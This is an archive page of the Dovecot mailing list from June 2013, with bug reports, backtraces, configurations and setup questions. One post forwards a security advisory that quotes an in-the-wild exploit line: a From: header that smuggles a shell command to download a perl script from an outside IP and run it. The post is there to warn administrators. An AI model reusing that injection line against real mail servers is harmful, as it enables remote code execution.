Hello everybody, I have set up dovecot to use ldap authentication and it works great. I wonder if it is possible to use mysql for user quota and still keep my ldap authentication. Thank you!

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[Dovecot] Man page: LGPL Version
by Oli Schacher 09 Jun '13

09 Jun '13

Hi Timo http://hg.dovecot.org/dovecot-2.2/rev/1f3f21081ee5 : man pages: Updated v2.1 -> v2.2 dovecot.1.in now references a inexistent "LGPLv2.2" instead of "LGPLv2.1"

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[Dovecot] v2.2.2 (266101990d63) Core Dump
by Thomas Leuxner 09 Jun '13

09 Jun '13

==> /var/log/dovecot/dovecot.log <== Jun 9 09:58:26 spectre dovecot: lmtp: Fatal: master: service(lmtp): child 12635 killed with signal 11 (core dumped) This is another segmentation fault introduced in the current code. Please also look into fixing the other Core Dump I reported: http://www.dovecot.org/list/dovecot/2013-June/090795.html (gdb) bt full #0 0x00007f305d3df646 in buffer_append (buf=0x0, data=0x7fff92c0d218, data_size=0) at buffer.c:184 No locals. #1 0x00007f305d6bee16 in array_append_i (data=0x7fff92c0d218, array=0x1267448, count=<optimized out>) at ../../src/lib/array.h:148 count = 1 #2 mail_namespace_add_storage (ns=ns@entry=0x12673f0, storage=0x7fff92c0d218, storage@entry=0x126cb50) at mail-namespace.c:39 No locals. #3 0x00007f305d6c488d in mail_storage_create_full (ns=ns@entry=0x12673f0, driver=<optimized out>, driver@entry=0x7f305d7263a4 "raw", data=<optimized out>, flags=flags@entry=0, storage_r=storage_r@entry=0x7fff92c0d318, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:397 storage_class = 0x7f305d95a560 storage = 0x126cb50 list = 0x1271800 list_set = {layout = 0x125b050 "none", root_dir = 0x125b048 "", index_dir = 0x0, index_pvt_dir = 0x0, control_dir = 0x0, alt_dir = 0x0, inbox_path = 0x0, subscription_fname = 0x7f305d72310d "subscriptions", maildir_name = 0x7f305d71e70b "", mailbox_dir_name = 0x7f305d71e70b "", escape_char = 0 '\000', broken_char = 0 '\000', utf8 = false, alt_dir_nocheck = false} list_flags = <optimized out> p = <optimized out> __FUNCTION__ = "mail_storage_create_full" #4 0x00007f305d6c4b7e in mail_storage_create (ns=ns@entry=0x12673f0, driver=driver@entry=0x7f305d7263a4 "raw", flags=flags@entry=0, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:407 storage = 0x7f305dd87a38 #5 0x00007f305d6bd605 in raw_storage_create_from_set (set_info=<optimized out>, set=<optimized out>) at raw-storage.c:48 user = 0x126d7f0 ns = 0x12673f0 ns_set = 0x126f2e0 mail_set = <optimized out> error = 0x0 #6 0x0000000000405762 in client_raw_user_create (client=<optimized out>) at client.c:150 sets = <optimized out> #7 client_create (fd_in=12, fd_out=12, conn=<optimized out>) at client.c:242 client = 0x1267f10 pool = 0x1267ef0 #8 0x00007f305d3a8740 in master_service_listen (l=0x1266120) at master-service.c:826 service = 0x12625a0 conn = {fd = 12, listen_fd = 8, name = 0x1262905 "dovecot-lmtp", remote_ip = {family = 0, u = {ip6 = {__in6_u = {__u6_addr8 = '\000' <repeats 15 times>, __u6_addr16 = {0, 0, 0, 0, 0, 0, 0, 0}, __u6_addr32 = {0, 0, 0, 0}}}, ip4 = {s_addr = 0}}}, remote_port = 0, fifo = 0, ssl = 0, accepted = 1} #9 0x00007f305d3f2996 in io_loop_call_io (io=0x12661c0) at ioloop.c:387 ioloop = 0x1262710 t_id = 2 #10 0x00007f305d3f3807 in io_loop_handler_run (ioloop=ioloop@entry=0x1262710) at ioloop-epoll.c:215 ctx = 0x1265540 events = 0x0 event = 0x12655b0 list = 0x1266210 io = <optimized out> tv = {tv_sec = 2147483, tv_usec = 0} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #11 0x00007f305d3f24d8 in io_loop_run (ioloop=0x1262710) at ioloop.c:406 No locals. ---Type <return> to continue, or q <return> to quit--- #12 0x00007f305d3a8013 in master_service_run (service=0x12625a0, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #13 0x0000000000404c24 in main (argc=1, argv=0x1262390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 675 c = <optimized out>

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[Dovecot] lmpt-service crash after update
by listserv 09 Jun '13

09 Jun '13

Hello, since the last update today without a change on the config, the lmtp-service crash with the follow messages: -------- Jun 9 13:16:43 kobe kernel: lmtp[25881]: segfault at 4 ip b7568e83 sp bfbe01b0 error 4 in libdovecot.so.0.0.0[b750c000+c6000] -------- Jun 9 13:16:43 kobe dovecot: lmtp(25881): Fatal: master: service(lmtp): child 25881 killed with signal 11 (core dumped) -------- GNU gdb (GDB) 7.6-debian Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/lib/dovecot/lmtp...(no debugging symbols found)...done. [New LWP 25823] warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". Core was generated by `dovecot/lmtp'. Program terminated with signal 11, Segmentation fault. #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 (gdb) bt full #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 No symbol table info available. #1 0xb76821cb in mail_namespace_add_storage () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #2 0xb76885ed in mail_storage_create_full () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #3 0xb76889a5 in mail_storage_create () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #4 0xb76802f5 in raw_storage_create_from_set () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #5 0x0804c578 in client_create () No symbol table info available. #6 0x0804bbf2 in _start () No symbol table info available. (gdb) ---------- doveconf -n # 2.2.2 (266101990d63): /etc/dovecot/dovecot.conf # OS: Linux 3.2.28.stk32 i686 Debian jessie/sid ext3 auth_debug = yes auth_debug_passwords = yes auth_mechanisms = digest-md5 cram-md5 auth_username_translation = %Lu auth_verbose = yes auth_verbose_passwords = plain dict { expire = db:/var/lib/dovecot/expire.db } hostname = kobe.vtlx.cn mail_attachment_dir = /var/mail/attachment mail_debug = yes mail_gid = vmail mail_home = /var/mail/vhosts/%Ld/%Ln mail_location = sdbox:/var/mail/vhosts/%Ld/%Ln:DIRNAME=DbOx-mAiLs mail_plugins = " quota mail_log notify expire zlib" mail_privileged_group = vmail mail_uid = vmail mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / subscriptions = yes type = private } passdb { args = scheme=PLAIN username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } plugin { acl = vfile acl_shared_dict = file:/var/mail/shared-db/shared-mailboxes expire = Trash 2h expire_dict = proxy::expire mail_log_events = delete undelete copy mailbox_delete mailbox_rename expunge save mailbox_create mail_log_fields = uid box msgid size quota = dict:User quota::file:/var/mail/vhosts/%Ld/%Ln/dovecot-quota quota_exceeded_message = Die Mailbox des Empfaengers ist voll -- Quota exceeded -- Please contact <postmaster(a)xtlv.cn> quota_grace = 10%% quota_rule = *:storage=30M quota_rule2 = Trash:storage=+10%% quota_status_nouser = DUNNO quota_status_overquota = "552 5.5.2 Die Mailbox des Empfaengers ist voll ## Quota exceeded ## Please contact <postmaster(a)xtlv.cn>" quota_status_success = DUNNO quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=90%% quota-warning 90 %u quota_warning3 = storage=85%% quota-warning 85 %u quota_warning4 = storage=80%% quota-warning 80 %u quota_warning5 = storage=70%% quota-warning 70 %u sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)xtlv.cn protocols = " imap lmtp sieve pop3" rejection_reason = Your message to <%t> was automatically rejected:%n%r [TEST] service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } } service config { unix_listener config { mode = 0600 user = vmail } } service dict { unix_listener dict { mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { address = 84.38.75.143 port = 993 ssl = yes } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { address = 84.38.75.143 port = 4190 } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { address = 84.38.75.143 port = 995 ssl = yes } } service quota-status { client_limit = 1 executable = quota-status -p postfix unix_listener /var/spool/postfix/private/quota-status { group = postfix mode = 0660 user = postfix } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { group = vmail mode = 0660 user = vmail } user = root } ssl_ca = </etc/dovecot/keys/ca.crt ssl_cert = </etc/dovecot/keys/mx01-dov.pem ssl_key = </etc/dovecot/keys/mx01-dov.key userdb { args = username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } protocol lmtp { mail_plugins = " quota mail_log notify expire zlib quota sieve" } protocol lda { mail_plugins = " quota mail_log notify expire zlib sieve" } protocol imap { mail_plugins = " quota mail_log notify expire zlib imap_quota" } protocol pop3 { mail_plugins = " quota mail_log notify expire zlib quota" } I hope the infos helps to solve this problem. many thanks, Mario -- 中華人民共和國

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[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

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[Dovecot] Speed up mail retrieval by keyword
by Manfred Usselmann 09 Jun '13

09 Jun '13

Hi, I' m using a roundcube plugin for adding attributes to mails, which are stored as IMAP keywords (https://github.com/umount/message_label [1]). This plugin allows me to retrieve mails with a certain attribute across all my mail folders. Selecting mails this way is very convenient, but also very slow, probably because I've got a lot of mails and folders. Is there a way to speed this up somehow by changing any configuration options? Versions in use are Roundcube 0.9.0 and Dovecot 2.1.10 (Maildir). Thanks Manfred Links: ------ [1] https://github.com/umount/message_label

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[Dovecot] search and UTF-8 normalization forms (NFD)
by Lutz Preßler 09 Jun '13

09 Jun '13

Hello, on a system with dovecot 2.2 I've got a mailbox containing multiple mails from a person called Krüger, but From: header encoded differently. Some are encoded in UTF-8 normalization form decomposed (as used by Mac OSX), that is u and umlaut accent as sperate combined codepoints instead of one ü: From: =?utf-8?Q?replaced_Kru=CC=88ger?= <krueger(a)some.domain> Searching within roundcube webmail for "krüger" as sender missis this mails. Roundcube sends (dovecot rawlog): A0003 UID THREAD REFS UTF-8 ALL HEADER FROM {7+}krüger Is this supposed to work? Haven't done any more debugging (other search variants) or read RFCs. As a user I would expect Unicode equivalence rules be applied (see http://en.wikipedia.org/wiki/Unicode_equivalence) Regards, Lutz

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[Dovecot] Question on Director setup
by Joe Wong 07 Jun '13

07 Jun '13

Hello, I am following the wiki page to setup 2 IMAP servers Director. in each server, I have created 2 sets of dovecot config file where the first set is for imap proxy with director the second set is for the imap backend after this, I attempt to login IMAP through the imap-proxy on any machine with several users. from the log, all users always go to the same IMAP backend in Server 2, I don't see any user go to the IMAP backend in Server 1 at all. What could be the problem I have ? - Joe

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[Dovecot] Dovecot IMAP
by Alex Dubinin 07 Jun '13

07 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. My result: 04 LIST "" "*" * LIST (\HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" I want: 04 LIST "" "*" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = MY_IP log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" } How to make the imap folders 'sent', 'trash' and others were not affiliated? P.S. Sorry for my english.

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[Dovecot] v2.2.2 (e5bd0a7c6a1e) Core Dump
by Thomas Leuxner 07 Jun '13

07 Jun '13

(gdb) bt full #0 mailbox_list_default_get_vname (list=0x21ceec0, storage_name=0x0) at mailbox-list.c:655 __s2_len = <optimized out> i = <optimized out> prefix_len = <optimized out> name_len = <optimized out> vname = 0x0 list_sep = <optimized out> ns_sep = <optimized out> ret = <optimized out> #1 0x00007fecd7cf4585 in acl_backend_vfile_get_local_dir (name=0x0, name@entry=0x7fecd7cfada8 "", backend=<error reading variable: Unhandled dwarf expression opcode 0xfa>) at acl-backend-vfile.c:147 ns = 0x21ca6d0 list = 0x21ceec0 storage = <optimized out> type = <optimized out> dir = <optimized out> inbox = <optimized out> vname = <optimized out> error = 0x221a100 "\320\"\035\002" #2 0x00007fecd7cf470e in acl_backend_vfile_object_init (_backend=0x21d22d0, name=0x7fecd7cfada8 "") at acl-backend-vfile.c:195 _data_stack_cur_id = 6 backend = 0x21d22d0 aclobj = 0x221a100 dir = <optimized out> vname = <optimized out> #3 0x00007fecd7cf3c8e in acl_backend_get_default_object (backend=backend@entry=0x21d22d0) at acl-backend.c:177 user = 0x21caeb0 ns = 0x21ca6d0 default_name = <optimized out> #4 0x00007fecd7cf3cce in acl_backend_get_default_rights (backend=0x21d22d0, mask_r=mask_r@entry=0x7fffc5835d78) at acl-backend.c:184 aclobj = <optimized out> #5 0x00007fecd7cf9c51 in acl_mailbox_try_list_fast (ctx=0x221b4b0) at acl-mailbox-list.c:107 alist = 0x21cf1a8 nonowner_list_ctx = <optimized out> ret = <optimized out> backend = <optimized out> idxp = 0x21cf278 acl_mask = 0x0 ns = 0x21ca6d0 update_ctx = {iter_ctx = 0x1, tree_ctx = 0x7fecd90aa548, glob = 0x6, leaf_flags = 35726664, parent_flags = 0, update_only = 0, match_parents = 0} name = <optimized out> #6 acl_mailbox_list_iter_init (list=0x21ceec0, patterns=0x21d92f8, flags=49152) at acl-mailbox-list.c:194 _data_stack_cur_id = 5 alist = 0x21cf1a8 ctx = 0x221b4b0 pool = <optimized out> p = <optimized out> i = <optimized out> inboxcase = <optimized out> #7 0x00007fecd8c0c09d in mailbox_list_iter_init_multiple (list=0x21ceec0, patterns=<optimized out>, flags=49152) at mailbox-list-iter.c:173 ctx = <optimized out> ret = 0 #8 0x00007fecd8c0d35b in mailbox_list_ns_iter_try_next (info_r=<synthetic pointer>, _ctx=0x21d9020) at mailbox-list-iter.c:574 ctx = 0x21d9020 info = <optimized out> errstr = <optimized out> has_children = <optimized out> ns = <optimized out> error = 4294967295 #9 mailbox_list_ns_iter_next (_ctx=0x21d9020) at mailbox-list-iter.c:645 info = <optimized out> #10 0x00007fecd8c0bd17 in mailbox_list_iter_next_call (ctx=ctx@entry=0x21d9020) at mailbox-list-iter.c:941 info = <optimized out> set = <optimized out> #11 0x00007fecd8c0c9a8 in mailbox_list_iter_next (ctx=0x21d9020) at mailbox-list-iter.c:1012 _data_stack_cur_id = 4 info = <optimized out> #12 0x000000000040f209 in cmd_list_continue (cmd=cmd@entry=0x21ddf40) at cmd-list.c:229 ctx = 0x21de188 info = <optimized out> flags = <optimized out> str = 0x21af518 mutf7_name = 0x21af668 name = <optimized out> ret = <optimized out> #13 0x000000000040fa4f in cmd_list_full (cmd=0x21ddf40, lsub=<optimized out>) at cmd-list.c:463 client = <optimized out> args = 0x21bab18 list_args = 0x21ddf40 arg_count = <optimized out> ctx = 0x21de188 patterns = {arr = {buffer = 0x21de1c8, element_size = 8}, v = 0x21de1c8, v_modifiable = 0x21de1c8} ref = 0x21de1b8 "" pattern = 0x21de1c0 "%" patterns_strarr = 0x21de200 str = <optimized out> #14 0x000000000041675c in command_exec (cmd=cmd@entry=0x21ddf40) at imap-commands.c:156 hook = 0x21b8d90 ret = <optimized out> #15 0x00000000004157c0 in client_command_input (cmd=0x21ddf40) at imap-client.c:775 client = 0x21dd360 command = <optimized out> __FUNCTION__ = "client_command_input" #16 0x000000000041587a in client_command_input (cmd=0x21ddf40) at imap-client.c:836 client = 0x21dd360 command = <optimized out> __FUNCTION__ = "client_command_input" #17 0x0000000000415b35 in client_handle_next_command (remove_io_r=<synthetic pointer>, client=0x21dd360) at imap-client.c:874 No locals. #18 client_handle_input (client=client@entry=0x21dd360) at imap-client.c:886 _data_stack_cur_id = 3 ret = 32 remove_io = false handled_commands = false __FUNCTION__ = "client_handle_input" #19 0x0000000000415ee2 in client_input (client=0x21dd360) at imap-client.c:928 cmd = <optimized out> output = 0x21ddd78 bytes = 19 __FUNCTION__ = "client_input" #20 0x00007fecd8922d06 in io_loop_call_io (io=0x21dde40) at ioloop.c:387 ioloop = 0x21b7720 t_id = 2 #21 0x00007fecd8923b77 in io_loop_handler_run (ioloop=ioloop@entry=0x21b7720) at ioloop-epoll.c:215 ctx = 0x21b7a90 events = 0x21ca6d0 event = 0x21b7b00 list = 0x21dde90 io = <optimized out> tv = {tv_sec = 3, tv_usec = 876580} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #22 0x00007fecd8922848 in io_loop_run (ioloop=0x21b7720) at ioloop.c:406 No locals. #23 0x00007fecd88d8b53 in master_service_run (service=0x21b75b0, callback=callback@entry=0x41ed00 <client_connected>) at master-service.c:560 No locals. #24 0x000000000040baf8 in main (argc=1, argv=0x21b7390) at main.c:400 set_roots = {0x4262e0, 0x0} login_set = {auth_socket_path = 0x21af040 "\001", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x41ebb0 <login_client_connected>, failure_callback = 0x41e8c0 <login_client_failed>, request_auth_token = 1} service_flags = <optimized out> storage_service_flags = <optimized out> username = 0x0 c = <optimized out>

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[Dovecot] Load Balancing and HA
by Romer Ventura 06 Jun '13

06 Jun '13

Hello, I've been thinking about the best way to achieve load balancing and making my mail servers highly available. So far I believe I have 2 scenarios: Scenario1: This should allow any to lose any of the servers and clients still have access to their emails (although I am not sure how the indexes would react to this and sudden disconnection) - 2 Dovecot Proxy servers, using a virtual IP to where the clients will connect to from the WAN and LAN - 2 Dovecot+Postfix servers with local cache - 2 NFS servers and synced with dsync (mirror, 1 server writes to its own NFS and changes synced to the other via dsync) Scenario2: Pretty much as above on the back end. However, with this there is no way to load balance users. - 2 Dovecot+Postfix server with local cache - 2 NFS servers synced with dsync - Make use of DNS MX record priority to provide access to secondary email server Anyone care to comment? Thanks. <hr style="border: 1px solid #CCC;"> This document and attachments may contain technical data controlled under the U.S. International Traffic in Arms Regulations (ITAR) or the Export Administration Regulations (EAR) and may not be exported to a Foreign Person, either in the U.S. or abroad, without the proper authorization by the U.S. Department of State or Department of Commerce, whichever is applicable. CONFIDENTIALITY NOTE: This electronic transmission, including all attachments, is directed in confidence solely to the person(s) to whom it is addressed, or an authorized recipient, and may not otherwise be distributed, copied or disclosed. The contents of the transmission may also be subject to intellectual property rights and such rights are expressly claimed and are not waived. If you have received this transmission in error, please notify the sender immediately by return electronic transmission and then immediately delete this transmission, including all attachments, without copying, distributing or disclosing same. The recipient should check this e-mail and any attachments for the presence of viruses. Houston Sigma Technologies L.P. accepts no liability for any damage caused by any virus transmitted by this e-mail.

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[Dovecot] Dovecot mysql replication
by Edwardo Garcia 06 Jun '13

06 Jun '13

Halo, (First time posting, please forgive English is not native) Change from Courier to Dovecot 2.1.16 Having two server. Having mysql on thiz two server, one master, one slave. What we wish is slave Dovecot only ask slave mysql, unless slave mysql not work when then ask master, we have Postfix do thiz fallover good, but Dovecot talk to slave and master no mater what, we think thiz defeat fallover as we not want this aktion, but aktion like Postfix. The problemo is can not find Dovecot option for thiz in wiki2.dovecot.org, is possible?

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[Dovecot] Error: Threading lost Message ID
by Oscar A. Jara 05 Jun '13

05 Jun '13

Hello everyone, I have just put in production dovecot imap and pop3 in replacement of courier in a setup of 700 accounts aprox. Dovecot release running is 1.2.16 in a Linux CentOS 5.8. Seems like some accounts are having problems dealing with message threading, as I read lines like this one in my logs: IMAP(some_user): Error: Threading lost Message ID ...and some of those accounts cannot even list the emails. I temporarily got rid of this problem deactivating threading on those accounts but I would like to solve it. I found a patch that seams to deal with this problem at http://hg.dovecot.org/dovecot-1.2/rev/76023d59c3b2 but it would be weird that CentOS wouldn't have release a patched version of the package. Am I missing something here? Thanks in advance! __________ Information from ESET Mail Security, version of virus signature database 8412 (20130604) __________ The message was checked by ESET Mail Security. http://www.eset.com

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[Dovecot] Crash dovecot 1.2.15
by ib 05 Jun '13

05 Jun '13

Hi everybody We have a probleme with dovecot Jun 05 06:26:01 dovecot: Warning: SIGHUP received - reloading configuration Jun 05 06:26:02 dovecot: Error: Raw backtrace: /usr/sbin/dovecot() [0x41348a] -> /usr/sbin/dovecot() [0x413584] -> /usr/sbin/dovecot() [0x40b290] -> /usr/sbin/dovecot() [0x412bf6] -> /usr/sbin/dovecot() [0x405c9a] -> /usr/sbin/dovecot() [0x416f3d] -> /usr/sbin/dovecot() [0x4163b8] -> /usr/sbin/dovecot() [0x40bb39] -> /lib/libc.so.6(__libc_start_main+0xfd) [0x7f2bad861c8d] -> /usr/sbin/dovecot() [0x403859] Jun 05 07:58:09 dovecot: Info: Dovecot v1.2.15 starting up (core dumps disabled) -- Cordialement, <http://www.ice-dev.com> *Ivan BERTHELOT* Administrateur Réseaux ICE DEVELOPMENT 16 rue Maurice Bouchor Tel : 08 21 23 03 54 http://www.ice-dev.com

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Re: [Dovecot] dovecot and time
by Rick Romero 05 Jun '13

05 Jun '13

I found something interesting via strace. lda is writing a timestamp with utime before doign the fsync, but I'm really not a C guy, so I have no idea why that's going on via procmail and not via commandline. I assume it's related to the choice of pread64 vs read. when called from commandline (working): read(0, "July 14-20, 2013\n10 courses. Bon"..., 4096) = 4096 read(0, "s bigger\nthan most realistic cyb"..., 4096) = 4096 read(0, "olina company in\nnumerous small,"..., 4096) = 4096 read(0, "on't have any way to tell you\". "..., 4096) = 4096 read(0, "rer. This version of Chrome addr"..., 4096) = 4096 read(0, "edu.\n\nDr. Johannes Ullrich is Ch"..., 4096) = 3164 read(0, "", 932) = 0 umask(0177) = 077 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370448645.M589211P14191.smtp101", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0777) = 11 umask(077) = 0177 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/dovecot.index.cache", O_RDWR|O_LARGEFILE) = 12 fstat64(12, {st_mode=S_IFREG|0600, st_size=1568768, ...}) = 0 mmap2(NULL, 1568768, PROT_READ, MAP_SHARED, 12, 0) = 0xb7064000 fstat64(11, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0 write(11, "Return-Path: <newsbites(a)sans.org"..., 8192) = 8192 write(11, "s bigger\nthan most realistic cyb"..., 8192) = 8192 write(11, "on't have any way to tell you\". "..., 11356) = 11356 fstat64(11, {st_mode=S_IFREG|0600, st_size=27740, ...}) = 0 fsync(11) = 0 _llseek(11, 0, [27740], SEEK_END) = 0 close(11) = 0 time(NULL) = 1370448645 umask(0177) = 077 when called from procmail (not working): pread64(10, "00.vfemail.net,S=10941\n968 W2552"..., 4064, 52993) = 4064 pread64(10, "53 :1361943010.39085.mx100.vfema"..., 4087, 57057) = 4087 pread64(10, " :1364597743.43999.mx100.vfemail"..., 4085, 61144) = 4085 pread64(10, "mx100.vfemail.net,S=15951\n17287 "..., 4065, 65229) = 4065 pread64(10, "637P32360.smtp101.vfemail.net,S="..., 4074, 69294) = 3967 pread64(10, "", 107, 73261) = 0 umask(0177) = 077 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370449940.M313792P17436.smtp101", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0777) = 11 umask(077) = 0177 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/dovecot.index.cache", O_RDWR|O_LARGEFILE) = 12 fstat64(12, {st_mode=S_IFREG|0600, st_size=1575936, ...}) = 0 mmap2(NULL, 1575936, PROT_READ, MAP_SHARED, 12, 0) = 0xb70b0000 fstat64(11, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0 read(0, "", 1127) = 0 write(11, "Return-Path: <dovecot-bounces@do"..., 2911) = 2911 utime("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370449940.M313792P17436.smtp101", [2013/06/05-16:32:20, 2013/06/05-21:32:18]) = fsync(11) = 0 _llseek(11, 0, [2911], SEEK_END) = 0 close(11) = 0 time(NULL) = 1370449940 umask(0177) = 077 Should I attach full traces? They're 32k and 64k respectively. Sorry about the lack of threading, I had my subscription off and didn't get a copy to reply to :/ Rick

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[Dovecot] 400 Bad Request response from pigeonhole.dovecot.org
by ben＠indietorrent.org 05 Jun '13

05 Jun '13

I'm attempting to access the Pigeonhole documentation but am receiving a 400 Bad Request response from http://pigeonhole.dovecot.org/ . Is this expected? If so, has the documentation moved? Thanks for any help! -Ben

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[Dovecot] partionning users among backends
by Emmanuel Dreyfus 05 Jun '13

05 Jun '13

Hi I face growing load on a mailserver, and I would like to spread the load on multiple machines. I made a first attempt with dsync but got burnt with issues with mbox, therefore now I am looking for another safer approach. Partitionning users on multiple backends would address my load problem. I would have 50% of users on mail1.example.net and 50% on mail2.example.net, but I need to correctly redirect users requests, as their mail user agents only know about mail.example.net. Is dovecot able to send request to the local machine or to proxy them to another one, depending on information it would have on user mailboxes location? If it does, do we have documentation on this? -- Emmanuel Dreyfus manu(a)netbsd.org

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[Dovecot] Bad exit status from dsync
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

I just tried to migrate one of my users from maildir to mdbox using dsync. My conversion script is checking the dsync exit code to know if the conversion goes fine or not, and surprisingly dsync returned "0" at the same time as it gave the error: Error: Failed to sync mailbox .ta\ vare\ på ... (sorry, lost the rest of the error message) Changing the folder name to mUTF7 manually made it work, but I didn't like that dsync returned success when it got this error. That breaks the failsafe logic in my conversion script. Dovecot version dovecot-ee-2.1.16.3-1, x86_64, RHEL5. Dsync command used: dsync -v -u username(a)example.net mirror maildir:/usr/local/atmail/users/u/s/username@example.net With these dovecot.conf settings: mail_home = /srv/mailstore/%256LRHu/%Ld/%Ln mail_location = mdbox:~/mdbox -jf

